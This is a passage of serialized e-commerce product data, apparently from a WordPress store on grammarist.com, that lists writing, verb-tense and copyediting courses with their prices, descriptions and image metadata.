world.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EFundamentals of Writing Mechanics\u003C\/strong\u003E: Learn the essential technical aspects of writing, including grammar, structure, and style, to produce clear, effective, and engaging content across various genres.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ECharacter and Plot Development Mastery\u003C\/strong\u003E: Uncover techniques for creating complex characters and compelling plots, vital for crafting engaging narratives that captivate readers.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EDiverse Writing Styles and Formats\u003C\/strong\u003E: Gain proficiency in different writing styles, from narrative and expository to business-oriented content, enhancing your ability to connect with various audiences.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEditing, Publishing, and Marketing Skills\u003C\/strong\u003E: Understand the complete writing process, from post-draft editing to publishing and marketing, equipping you with the tools to not only write but also successfully publish and promote your work.\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"master-the-pen","to_ping":"","pinged":"","post_modified":"2026-05-10 00:36:56","post_modified_gmt":"2026-05-10 06:36:56","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u0026#038;p=108536","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":false,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/master-the-pen","permalink":"https:\/\/grammarist.com\/products\/master-the-pen\/","is_published":true,"page_title":"Grammarist Master The Pen","meta_description":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EAuthorial Insights and Practical Advice\u003C\/strong\u003E: Receive guidance and professional tips from Candace Osmond, a USA TODAY Bestselling Author, who shares her journey from an aspiring writer to a published author, helping you navigate the challenges of the writing world.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EFundamentals of Writing Mechanics\u003C\/strong\u003E: Learn the essential technical aspects of writing, including grammar, structure, and style, to produce clear, effective, and engaging content across various genres.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ECharacter and Plot Development Mastery\u003C\/strong\u003E: Uncover techniques for creating complex characters and compelling plots, vital for crafting engaging narratives that captivate readers.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EDiverse Writing Styles and Formats\u003C\/strong\u003E: Gain proficiency in different writing styles, from narrative and expository to business-oriented content, enhancing your ability to connect with various audiences.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEditing, Publishing, and Marketing Skills\u003C\/strong\u003E: Understand the complete writing process, from post-draft editing to publishing and marketing, equipping you with the tools to not only write but also successfully publish and promote your work.\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","in_stock":true,"active_prices":[{"id":"bd790649-74b3-4826-a67c-ec0498ba6c3c","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":29700,"archived":false,"currency":"usd","current_version":true,"full_amount":29700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"4614e2c8-27a1-4778-907a-65f093116ba6","renew
1248al_price":null,"recurring_end_behavior":"complete","created_at":1734436496,"updated_at":1734436496,"display_amount":"$297","converted_amount":297,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"4614e2c8-27a1-4778-907a-65f093116ba6"}],"has_variants":false,"has_multiple_prices":false,"active_ad_hoc_prices":[],"has_options":false,"featured_image":{"ID":87858,"post_author":"307024","post_date":"2023-12-05 09:38:20","post_date_gmt":"2023-12-05 15:38:20","post_content":"","post_title":"Master the Pen Featured Image","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"master-the-pen-featured-image","to_ping":"","pinged":"","post_modified":"2023-12-05 09:38:20","post_modified_gmt":"2023-12-05 15:38:20","post_content_filtered":"","post_parent":80967,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":87858,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"bd790649-74b3-4826-a67c-ec0498ba6c3c","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":29700,"archived":false,"currency":"usd","current_version":true,"full_amount":29700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"4614e2c8-27a1-4778-907a-65f093116ba6","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734436496,"updated_at":1734436496,"display_amount":"$297","converted_amount":297,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"4614e2c8-27a1-4778-907a-65f093116ba6"},"initial_variant":null,"initial_amount":29700,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":87858,"post_author":"307024","post_date":"2023-12-05 09:38:20","post_date_gmt":"2023-12-05 15:38:20","post_content":"","post_title":"Master the Pen Featured Image","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"master-the-pen-featured-image","to_ping":"","pinged":"","post_modified":"2023-12-05 09:38:20","post_modified_gmt":"2023-12-05 15:38:20","post_content_filtered":"","post_parent":80967,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":87858,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png"}],"display_amount":"$297","range_display_amount":"$297","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Master-the-Pen-Featured-Image.png 1920w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 5:53 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 5:53 am","updated_at_date":"May 10, 2026","updated_at_date_time":"May 10, 2026 12:36 am","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[87858]},{"id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":0,"average_stars":"0.0","bundle":false,"description":null,"featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":9900,"min_price_amount":100,"prices_count":2},"name":"Grammarist Practical Verb Tenses Mastery","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"verb-tense-mastery-course","solicit_reviews":true,"stock_enabled":false,"prices":{"object":"list","pagination":{"count":2,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"data":[{"id":"d026e594-16bd-4a10-9952-1b0d94f1dc45","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":100,"archived":false,"currency":"usd","current_version":true,"full_amount":100,"license_activation_limit":null,"name":"test","position":1,"portal_subscription_update_enabled":false,"restart_subscription_on_completed":false,"revoke_after_days":15,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","renewal_price":null,"recurring_end_behavior":"complete","created_at":1765579357,"updated_at":1765579357,"display_amount":"$1","converted_amount":1,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004"},{"id":"a1504034-35c1-404a-b713-8707bf98fba1","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9900,"archived":false,"currency":"usd","current_version":true,"full_amount":9900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734436250,"updated_at":1734436250,"display_amount":"$99","converted_amount":99,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004"}]},"product_group":null,"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"data":[]},"image_url":null,"created_at":1734436184,"updated_at":1781180906,"post":{"ID":108535,"post_author":"307024","post_date":"2024-12-17 05:49:44","post_date_gmt":"2024-12-17 11:49:44","post_content":"","post_title":"Grammarist Practical Verb Tenses Mastery","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"verb-tense-mastery-course","to_ping":"","pinged":"","post_modified":"2026-06-11 06:28:52","post_modified_gmt":"2026-06-11 12:28:52","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u
12480026#038;p=108535","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":false,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/verb-tense-mastery-course","permalink":"https:\/\/grammarist.com\/products\/verb-tense-mastery-course\/","is_published":true,"page_title":"Grammarist Practical Verb Tenses Mastery","meta_description":"","in_stock":true,"active_prices":[{"id":"a1504034-35c1-404a-b713-8707bf98fba1","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9900,"archived":false,"currency":"usd","current_version":true,"full_amount":9900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734436250,"updated_at":1734436250,"display_amount":"$99","converted_amount":99,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004"},{"id":"d026e594-16bd-4a10-9952-1b0d94f1dc45","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":100,"archived":false,"currency":"usd","current_version":true,"full_amount":100,"license_activation_limit":null,"name":"test","position":1,"portal_subscription_update_enabled":false,"restart_subscription_on_completed":false,"revoke_after_days":15,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","renewal_price":null,"recurring_end_behavior":"complete","created_at":1765579357,"updated_at":1765579357,"display_amount":"$1","converted_amount":1,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004"}],"has_variants":false,"has_multiple_prices":true,"active_ad_hoc_prices":[],"has_options":true,"featured_image":{"ID":84075,"post_author":"305970","post_date":"2023-10-12 12:11:23","post_date_gmt":"2023-10-12 18:11:23","post_content":"","post_title":"Verb Tense Course","post_excerpt":"","post_status":"inherit","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"verb-tense-course-2-png","to_ping":"","pinged":"","post_modified":"2023-10-12 12:11:25","post_modified_gmt":"2023-10-12 18:11:25","post_content_filtered":"","post_parent":21239,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":84075,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"a1504034-35c1-404a-b713-8707bf98fba1","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9900,"archived":false,"currency":"usd","current_version":true,"full_amount":9900,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"c87f28b5-cbf5-450a-887c-8b5fbaf57004","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734436250,"updated_at":1734436250,"display_amount":"$99","converted_amount":99,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"c87f28b5-cbf5-450a-887c-8b5fbaf57004"},"initial_variant":null,"initial_amount":9900,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":84075,"post_author":"305970","post_date":"2023-10-12 12:11:23","post_date_gmt":"2023-10-12 18:11:23","post_content":"","post_title":"Verb Tense Course","post_excerpt":"","post_status":"inherit","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"verb-tense-course-2-png","to_ping":"","pinged":"","post_modified":"2023-10-12 12:11:25","post_modified_gmt":"2023-10-12 18:11:25","post_content_filtered":"","post_parent":21239,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":84075,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png"}],"display_amount":"$99","range_display_amount":"$1 - $99","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Verb-Tense-Course-2.png 1920w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 5:49 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 5:49 am","updated_at_date":"June 11, 2026","updated_at_date_time":"June 11, 2026 6:28 am","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[84075]},{"id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":-2,"average_stars":"0.0","bundle":false,"description":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EComprehensive Skill Development\u003C\/strong\u003E: Gain all the necessary knowledge, tools, techniques, and business skills for a successful proofreading\/copyediting career, from spotting culturally insensitive language to understanding core proofreading principles.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EClient Relationships and Business Setup\u003C\/strong\u003E: Learn to find high-quality clients, write compelling business proposals, and create a robust business foundation with essential tools like a website, r\u00e9sum\u00e9, and billing system.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEnhanced Efficiency and Error Correction\u003C\/strong\u003E: Master the use of tools and platforms for efficient work and learn to spot and correct all types of writing errors, enhancing your ability to revise various content types.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ESpecialization and Style Adaptability\u003C\/strong\u003E: Explore lucrative niches within proofreading and copyediting, like academic and podcast proofreading, and understand the use of different style guides to adapt to client-specific requests\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":49700,"min_price_amount":19900,"prices_count":2},"name":"Grammarist Breakthrough Copyediting and Proofreading","recurring":true,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"breakthrough-copyediting-and-proofreading","solicit_reviews":true,"stock_enabled":false,"product_group":null,"image_url":null,"created_at":1734431973,"updated_at":1778394969,"prices":{"object":"list","pagination":{"count":2,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[{"id":"6a5c8177-ce47-44e0-a42e-7d34fadf3b6e","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":19900,"archived":false,"currency":"usd","current_version":true,"full_amount":59700,"license_activation_limit":null,"name":"Installment Plan","position":1,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":"month","recurring_interval_count":1,"recurring_period_count":3,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","renew
1248al_price":null,"recurring_end_behavior":"complete","created_at":1745408412,"updated_at":1745408447,"display_amount":"$199","converted_amount":199,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"3 payments","interval_text":"every 1 month","short_interval_text":"\/ 1 mo","short_interval_count_text":" x 3","interval_count_text":"(3 payments)","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d"},{"id":"69ecfb00-5e39-409f-8f6a-b30840cbea57","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":49700,"archived":false,"currency":"usd","current_version":true,"full_amount":49700,"license_activation_limit":null,"name":"One Time","position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"2cc726c4-3298-4e78-8a61-dfc5d4be174d","renewal_price":null,"recurring_end_behavior":"complete","created_at":1735329156,"updated_at":1745408477,"display_amount":"$497","converted_amount":497,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"2cc726c4-3298-4e78-8a61-dfc5d4be174d"}]},"bundle_items":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/bundle_items?bundle_product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[]},"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=2cc726c4-3298-4e78-8a61-dfc5d4be174d"},"data":[]},"post":{"ID":108533,"post_author":"307024","post_date":"2024-12-17 04:39:33","post_date_gmt":"2024-12-17 10:39:33","post_content":"","post_title":"Grammarist Breakthrough Copyediting and Proofreading","post_excerpt":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EComprehensive Skill Development\u003C\/strong\u003E: Gain all the necessary knowledge, tools, techniques, and business skills for a successful proofreading\/copyediting career, from spotting culturally insensitive language to understanding core proofreading principles.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EClient Relationships and Business Setup\u003C\/strong\u003E: Learn to find high-quality clients, write compelling business proposals, and create a robust business foundation with essential tools like a website, r\u00e9sum\u00e9, and billing system.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEnhanced Efficiency and Error Correction\u003C\/strong\u003E: Master the use of tools and platforms for efficient work and learn to spot and correct all types of writing errors, enhancing your ability to revise various content types.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ESpecialization and Style Adaptability\u003C\/strong\u003E: Explore lucrative niches within proofreading and copyediting, like academic and podcast proofreading, and understand the use of different style guides to adapt to client-specific requests\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"breakthrough-copyediting-and-proofreading","to_ping":"","pinged":"","post_modified":"2026-08-14 19:41:40","post_modified_gmt":"2026-08-15 01:41:40","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u
12480026#038;p=108533","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":true,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/breakthrough-copyediting-and-proofreading","permalink":"https:\/\/grammarist.com\/products\/breakthrough-copyediting-and-proofreading\/","is_published":true,"page_title":"Grammarist Breakthrough Copyediting and Proofreading","meta_description":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EComprehensive Skill Development\u003C\/strong\u003E: Gain all the necessary knowledge, tools, techniques, and business skills for a successful proofreading\/copyediting career, from spotting culturally insensitive language to understanding core proofreading principles.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EClient Relationships and Business Setup\u003C\/strong\u003E: Learn to find high-quality clients, write compelling business proposals, and create a robust business foundation with essential tools like a website, r\u00e9sum\u00e9, and billing system.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEnhanced Efficiency and Error Correction\u003C\/strong\u003E: Master the use of tools and platforms for efficient work and learn to spot and correct all types of writing errors, enhancing your ability to revise various content 